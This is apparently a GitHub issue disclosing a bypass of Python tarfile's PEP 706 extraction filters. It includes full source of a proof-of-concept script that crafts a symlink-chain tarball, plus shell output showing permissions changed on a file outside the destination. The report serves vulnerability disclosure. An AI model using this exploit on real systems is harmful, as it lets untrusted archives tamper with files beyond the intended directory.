Open
Description
TarFile.extractall()
can be tricked into chmodding arbitrary file (outside of the destination directory) to 0755
, despite using filter='tar'
:
$ target=$(mktemp)
$ defeatpep706 eggs.tar $target
$ ls -l $target
-rw------- 1 jwilk jwilk 0 Dec 16 12:00 /tmp/tmp.uxCZC0Zs3F
$ python3 -m tarfile --filter=tar -e eggs.tar $(mktemp -d)
$ ls -l $target
-rwxr-xr-x 1 jwilk jwilk 0 Jan 1 1970 /tmp/tmp.uxCZC0Zs3F
filter='data'
is vulnerable too, although in that case the damage is limited to updating the file timestamp:
$ target=$(mktemp)
$ defeatpep706 eggs.tar $target
$ ls -l $target
-rw------- 1 jwilk jwilk 0 Dec 16 12:01 /tmp/tmp.WeCifOsQmp
$ python3.12 -m tarfile --filter=data -e eggs.tar $(mktemp -d)
$ ls -l $target
-rw------- 1 jwilk jwilk 0 Jan 1 1970 /tmp/tmp.WeCifOsQmp
Here's the source for the defeatpep706
script:
#!/usr/bin/python3
import argparse
import os
import tarfile
ap = arparse = argparse.ArgumentParser()
ap.add_argument('tarpath', metavar='TARBALL')
ap.add_argument('target', metavar='TARGET')
opts = ap.parse_args()
target = os.path.abspath(opts.target)
with tarfile.open(opts.tarpath, 'w') as tar:
def addmemb(name, **kwargs):
memb = tarfile.TarInfo(name)
for k, v in kwargs.items():
getattr(memb, k)
setattr(memb, k, v)
tar.addfile(memb)
# lrw-r--r-- pwn -> .
addmemb('pwn', type=tarfile.SYMTYPE, linkname='.')
# "pwn" is a very innocent symlink.
# drwxrwxrwx pwn/
addmemb('pwn', type=tarfile.DIRTYPE, mode=0o777)
# But now "pwn" is also a directory, so it's scheduled to have its
# metadata updated later.
# lrw-r--r-- pwn -> x/x/x/x/⋯⋯⋯/x/../../../../⋯⋯⋯/../TARGET
addmemb('pwn', type=tarfile.SYMTYPE, linkname=('x/' * 99 + '../' * 99 + target))
# Oops, "pwn" is not so innocent any more.
# But technically it's still pointing inside the dest dir,
# so it doesn't upset the "data" filter.
# lrw-r--r-- x/x/x/x/⋯⋯⋯/x -> ../../../⋯⋯⋯/..
addmemb(('x/' * 99), type=tarfile.SYMTYPE, linkname=('../' * 98))
# The newly created symlink symlink points to the dest dir,
# so it's OK for the "data" filter.
# But now "pwn" points to the target (outside the dest dir).
Tested with Python 3.12.8.
Linked PRs
Metadata
Metadata
Assignees
Labels
Projects
Status
No status